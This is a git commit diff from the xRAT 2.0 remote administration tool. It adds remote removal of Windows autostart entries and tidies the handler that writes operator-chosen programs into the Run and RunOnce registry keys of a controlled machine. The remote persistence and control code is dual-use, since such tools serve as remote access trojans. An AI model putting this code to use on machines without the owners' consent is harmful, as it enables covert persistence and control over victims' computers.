Added Removing of Programs from Autostart

This commit is contained in:
MaxXor 2015-05-26 23:11:16 +02:00
parent ad7fd821af
commit bceaf04811
12 changed files with 275 additions and 17 deletions

View File

@ -136,6 +136,7 @@
<Compile Include="Core\Packets\ServerPackets\GetSystemInfo.cs" />
<Compile Include="Core\Packets\ServerPackets\KillProcess.cs" />
<Compile Include="Core\Packets\ServerPackets\Monitors.cs" />
<Compile Include="Core\Packets\ServerPackets\RemoveStartupitem.cs" />
<Compile Include="Core\Packets\ServerPackets\Rename.cs" />
<Compile Include="Core\Packets\ServerPackets\ShellCommand.cs" />
<Compile Include="Core\Packets\ServerPackets\ShowMessageBox.cs" />

View File

@ -64,7 +64,10 @@ namespace xClient.Core.Commands
if (key != null)
{
foreach (var k in key.GetValueNames())
{
if (string.IsNullOrEmpty(k) || key.GetValue(k) == null) continue;
startupItems.Add(string.Format("{0}||{1}", k, key.GetValue(k)), 0);
}
}
}
using (
@ -74,7 +77,10 @@ namespace xClient.Core.Commands
if (key != null)
{
foreach (var k in key.GetValueNames())
{
if (string.IsNullOrEmpty(k) || key.GetValue(k) == null) continue;
startupItems.Add(string.Format("{0}||{1}", k, key.GetValue(k)), 1);
}
}
}
using (
@ -84,7 +90,10 @@ namespace xClient.Core.Commands
if (key != null)
{
foreach (var k in key.GetValueNames())
{
if (string.IsNullOrEmpty(k) || key.GetValue(k) == null) continue;
startupItems.Add(string.Format("{0}||{1}", k, key.GetValue(k)), 2);
}
}
}
using (
@ -94,7 +103,10 @@ namespace xClient.Core.Commands
if (key != null)
{
foreach (var k in key.GetValueNames())
{
if (string.IsNullOrEmpty(k) || key.GetValue(k) == null) continue;
startupItems.Add(string.Format("{0}||{1}", k, key.GetValue(k)), 3);
}
}
}
if (OSInfo.Bits == 64)
@ -108,7 +120,10 @@ namespace xClient.Core.Commands
if (key != null)
{
foreach (var k in key.GetValueNames())
{
if (string.IsNullOrEmpty(k) || key.GetValue(k) == null) continue;
startupItems.Add(string.Format("{0}||{1}", k, key.GetValue(k)), 4);
}
}
}
using (
@ -120,7 +135,10 @@ namespace xClient.Core.Commands
if (key != null)
{
foreach (var k in key.GetValueNames())
{
if (string.IsNullOrEmpty(k) || key.GetValue(k) == null) continue;
startupItems.Add(string.Format("{0}||{1}", k, key.GetValue(k)), 5);
}
}
}
}
@ -155,10 +173,11 @@ namespace xClient.Core.Commands
Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
true))
{
if (key == null) throw new Exception();
if (key == null) throw new Exception("Registry key does not exist");
if (!command.Path.StartsWith("\"") && !command.Path.EndsWith("\""))
command.Path = "\"" + command.Path + "\"";
key.SetValue(command.Name, command.Path);
key.Close();
}
break;
case 1:
@ -167,10 +186,11 @@ namespace xClient.Core.Commands
Registry.LocalMachine.OpenSubKey(
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", true))
{
if (key == null) throw new Exception();
if (key == null) throw new Exception("Registry key does not exist");
if (!command.Path.StartsWith("\"") && !command.Path.EndsWith("\""))
command.Path = "\"" + command.Path + "\"";
key.SetValue(command.Name, command.Path);
key.Close();
}
break;
case 2:
@ -179,10 +199,11 @@ namespace xClient.Core.Commands
Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
true))
{
if (key == null) throw new Exception();
if (key == null) throw new Exception("Registry key does not exist");
if (!command.Path.StartsWith("\"") && !command.Path.EndsWith("\""))
command.Path = "\"" + command.Path + "\"";
key.SetValue(command.Name, command.Path);
key.Close();
}
break;
case 3:
@ -191,40 +212,43 @@ namespace xClient.Core.Commands
Registry.CurrentUser.OpenSubKey(
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", true))
{
if (key == null) throw new Exception();
if (key == null) throw new Exception("Registry key does not exist");
if (!command.Path.StartsWith("\"") && !command.Path.EndsWith("\""))
command.Path = "\"" + command.Path + "\"";
key.SetValue(command.Name, command.Path);
key.Close();
}
break;
case 4:
if (OSInfo.Bits != 64)
throw new Exception("Only on 64-bit systems supported");
throw new NotSupportedException("Only on 64-bit systems supported");
using (
var key =
Registry.LocalMachine.OpenSubKey(
"SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", true))
{
if (key == null) throw new Exception();
if (key == null) throw new Exception("Registry key does not exist");
if (!command.Path.StartsWith("\"") && !command.Path.EndsWith("\""))
command.Path = "\"" + command.Path + "\"";
key.SetValue(command.Name, command.Path);
key.Close();
}
break;
case 5:
if (OSInfo.Bits != 64)
throw new Exception("Only on 64-bit systems supported");
throw new NotSupportedException("Only on 64-bit systems supported");
using (
var key =
Registry.LocalMachine.OpenSubKey(
"SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", true))
{
if (key == null) throw new Exception();
if (key == null) throw new Exception("Registry key does not exist");
if (!command.Path.StartsWith("\"") && !command.Path.EndsWith("\""))
command.Path = "\"" + command.Path + "\"";
key.SetValue(command.Name, command.Path);
key.Close();
}
break;
case 6:
@ -261,6 +285,89 @@ namespace xClient.Core.Commands
}
}
public static void HandleAddRemoveStartupItem(Packets.ServerPackets.RemoveStartupItem command, Client client )
{
try
{
switch (command.Type)
{
case 0:
using (
var key =
Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
true))
{
if (key == null) throw new Exception("Registry key does not exist");
key.DeleteValue(command.Name, true);
key.Close();
}
break;
case 2:
using (
var key =
Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
true))
{
if (key == null) throw new Exception("Registry key does not exist");
key.DeleteValue(command.Name, true);
key.Close();
}
break;
case 3:
using (
var key =
Registry.CurrentUser.OpenSubKey(
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", true))
{
if (key == null) throw new Exception("Registry key does not exist");
key.DeleteValue(command.Name, true);
key.Close();
}
break;
case 4:
if (OSInfo.Bits != 64)
throw new NotSupportedException("Only on 64-bit systems supported");
using (
var key =
Registry.LocalMachine.OpenSubKey(
"SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", true))
{
if (key == null) throw new Exception("Registry key does not exist");
key.DeleteValue(command.Name, true);
key.Close();
}
break;
case 5:
if (OSInfo.Bits != 64)
throw new NotSupportedException("Only on 64-bit systems supported");
using (
var key =
Registry.LocalMachine.OpenSubKey(
"SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", true))
{
if (key == null) throw new Exception("Registry key does not exist");
key.DeleteValue(command.Name, true);
key.Close();
}
break;
case 6:
string lnkPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup), command.Name);
if (!File.Exists(lnkPath))
throw new IOException("File does not exist");
File.Delete(lnkPath);
break;
}
}
catch (Exception ex)
{
new Packets.ClientPackets.Status(string.Format("Removing Autostart Item failed: {0}", ex.Message)).Execute(client);
}
}
public static void HandleGetSystemInfo(Packets.ServerPackets.GetSystemInfo command, Client client)
{
try

View File

@ -0,0 +1,33 @@
using ProtoBuf;
namespace xClient.Core.Packets.ServerPackets
{
[ProtoContract]
public class RemoveStartupItem : IPacket
{
[ProtoMember(1)]
public string Name { get; set; }
[ProtoMember(2)]
public string Path { get; set; }
[ProtoMember(3)]
public int Type { get; set; }
public RemoveStartupItem()
{
}
public RemoveStartupItem(string name, string path, int type)
{
this.Name = name;
this.Path = path;
this.Type = type;
}
public void Execute(Client client)
{
client.Send(this);
}
}
}

View File

@ -79,6 +79,7 @@ namespace xClient
typeof (Core.Packets.ServerPackets.Action),
typeof (Core.Packets.ServerPackets.GetStartupItems),
typeof (Core.Packets.ServerPackets.AddStartupItem),
typeof (Core.Packets.ServerPackets.RemoveStartupItem),
typeof (Core.Packets.ServerPackets.DownloadFileCanceled),
typeof (Core.Packets.ServerPackets.GetLogs),
typeof (Core.Packets.ClientPackets.Initialize),
@ -329,6 +330,10 @@ namespace xClient
{
CommandHandler.HandleAddStartupItem((Core.Packets.ServerPackets.AddStartupItem) packet, client);
}
else if (type == typeof(Core.Packets.ServerPackets.RemoveStartupItem))
{
CommandHandler.HandleAddRemoveStartupItem((Core.Packets.ServerPackets.RemoveStartupItem) packet, client);
}
else if (type == typeof (Core.Packets.ServerPackets.DownloadFileCanceled))
{
CommandHandler.HandleDownloadFileCanceled((Core.Packets.ServerPackets.DownloadFileCanceled) packet,

View File

@ -0,0 +1,33 @@
using ProtoBuf;
namespace xServer.Core.Packets.ServerPackets
{
[ProtoContract]
public class RemoveStartupItem : IPacket
{
[ProtoMember(1)]
public string Name { get; set; }
[ProtoMember(2)]
public string Path { get; set; }
[ProtoMember(3)]
public int Type { get; set; }
public RemoveStartupItem()
{
}
public RemoveStartupItem(string name, string path, int type)
{
this.Name = name;
this.Path = path;
this.Type = type;
}
public void Execute(Client client)
{
client.Send(this);
}
}
}

View File

@ -131,6 +131,7 @@ namespace xServer.Forms
typeof (Core.Packets.ServerPackets.Action),
typeof (Core.Packets.ServerPackets.GetStartupItems),
typeof (Core.Packets.ServerPackets.AddStartupItem),
typeof (Core.Packets.ServerPackets.RemoveStartupItem),
typeof (Core.Packets.ServerPackets.DownloadFileCanceled),
typeof (Core.Packets.ServerPackets.GetLogs),
typeof (Core.Packets.ClientPackets.Initialize),

View File

@ -30,12 +30,39 @@
{
this.components = new System.ComponentModel.Container();
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmStartupManager));
this.ctxtMenu = new System.Windows.Forms.ContextMenuStrip(this.components);
this.ctxtAddEntry = new System.Windows.Forms.ToolStripMenuItem();
this.ctxtRemoveEntry = new System.Windows.Forms.ToolStripMenuItem();
this.lstStartupItems = new xServer.Controls.ListViewEx();
this.hName = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.hPath = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.ctxtMenu = new System.Windows.Forms.ContextMenuStrip(this.components);
this.ctxtMenu.SuspendLayout();
this.SuspendLayout();
//
// ctxtMenu
//
this.ctxtMenu.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.ctxtAddEntry,
this.ctxtRemoveEntry});
this.ctxtMenu.Name = "ctxtMenu";
this.ctxtMenu.Size = new System.Drawing.Size(148, 48);
//
// ctxtAddEntry
//
this.ctxtAddEntry.Image = global::xServer.Properties.Resources.application_add;
this.ctxtAddEntry.Name = "ctxtAddEntry";
this.ctxtAddEntry.Size = new System.Drawing.Size(147, 22);
this.ctxtAddEntry.Text = "Add Entry";
this.ctxtAddEntry.Click += new System.EventHandler(this.ctxtAddEntry_Click);
//
// ctxtRemoveEntry
//
this.ctxtRemoveEntry.Image = global::xServer.Properties.Resources.application_delete;
this.ctxtRemoveEntry.Name = "ctxtRemoveEntry";
this.ctxtRemoveEntry.Size = new System.Drawing.Size(147, 22);
this.ctxtRemoveEntry.Text = "Remove Entry";
this.ctxtRemoveEntry.Click += new System.EventHandler(this.ctxtRemoveEntry_Click);
//
// lstStartupItems
//
this.lstStartupItems.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
@ -46,6 +73,7 @@
this.hPath});
this.lstStartupItems.ContextMenuStrip = this.ctxtMenu;
this.lstStartupItems.FullRowSelect = true;
this.lstStartupItems.GridLines = true;
this.lstStartupItems.Location = new System.Drawing.Point(12, 12);
this.lstStartupItems.Name = "lstStartupItems";
this.lstStartupItems.Size = new System.Drawing.Size(653, 349);
@ -64,11 +92,6 @@
this.hPath.Text = "Path";
this.hPath.Width = 460;
//
// ctxtMenu
//
this.ctxtMenu.Name = "ctxtMenu";
this.ctxtMenu.Size = new System.Drawing.Size(61, 4);
//
// FrmStartupManager
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
@ -83,6 +106,7 @@
this.Text = "xRAT 2.0 - Startup Manager []";
this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmStartupManager_FormClosing);
this.Load += new System.EventHandler(this.FrmStartupManager_Load);
this.ctxtMenu.ResumeLayout(false);
this.ResumeLayout(false);
}
@ -93,6 +117,8 @@
private System.Windows.Forms.ColumnHeader hName;
private System.Windows.Forms.ColumnHeader hPath;
private System.Windows.Forms.ContextMenuStrip ctxtMenu;
private System.Windows.Forms.ToolStripMenuItem ctxtAddEntry;
private System.Windows.Forms.ToolStripMenuItem ctxtRemoveEntry;
}
}

View File

@ -1,4 +1,5 @@
using System.Windows.Forms;
using System.Linq;
using System.Windows.Forms;
using xServer.Core;
using xServer.Core.Misc;
@ -53,6 +54,43 @@ namespace xServer.Forms
_connectClient.Value.FrmStm = null;
}
private void ctxtAddEntry_Click(object sender, System.EventArgs e)
{
using (var frm = new FrmAddToAutostart())
{
if (frm.ShowDialog() == DialogResult.OK)
{
if (_connectClient != null)
{
new Core.Packets.ServerPackets.AddStartupItem(AutostartItem.Name, AutostartItem.Path,
AutostartItem.Type).Execute(_connectClient);
lstStartupItems.Items.Clear();
new Core.Packets.ServerPackets.GetStartupItems().Execute(_connectClient);
}
}
}
}
private void ctxtRemoveEntry_Click(object sender, System.EventArgs e)
{
int modified = 0;
foreach (ListViewItem item in lstStartupItems.SelectedItems)
{
if (_connectClient != null)
{
int type = lstStartupItems.Groups.Cast<ListViewGroup>().TakeWhile(t => t != item.Group).Count();
new Core.Packets.ServerPackets.RemoveStartupItem(item.Text, item.SubItems[1].Text, type).Execute(_connectClient);
}
modified++;
}
if (modified > 0 && _connectClient != null)
{
new Core.Packets.ServerPackets.GetStartupItems().Execute(_connectClient);
lstStartupItems.Items.Clear();
}
}
private void lstStartupItems_ColumnClick(object sender, ColumnClickEventArgs e)
{
// Determine if clicked column is already the column that is being sorted.

View File

@ -80,6 +80,16 @@ namespace xServer.Properties {
}
}
/// <summary>
/// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap.
/// </summary>
internal static System.Drawing.Bitmap application_delete {
get {
object obj = ResourceManager.GetObject("application_delete", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap.
/// </summary>

View File

@ -172,6 +172,9 @@
<data name="uac_shield" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\images\uac-shield.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="server_link" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\images\server_link.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="server_uninstall" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\images\server-uninstall.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
@ -249,7 +252,7 @@
<value>..\images\information.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<assembly alias="System.Windows.Forms" name="System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />
<data name="server_link" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\images\server_link.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
<data name="application_delete" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\images\application_delete.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
</root>

View File

@ -115,6 +115,7 @@
<Compile Include="Core\Packets\ServerPackets\KillProcess.cs" />
<Compile Include="Core\Packets\ServerPackets\Monitors.cs" />
<Compile Include="Core\Packets\ServerPackets\MouseClick.cs" />
<Compile Include="Core\Packets\ServerPackets\RemoveStartupitem.cs" />
<Compile Include="Core\Packets\ServerPackets\Rename.cs" />
<Compile Include="Core\Packets\ServerPackets\ShellCommand.cs" />
<Compile Include="Core\Packets\ServerPackets\ShowMessageBox.cs" />

Binary file not shown.

After

Width:  |  Height:  |  Size: 610 B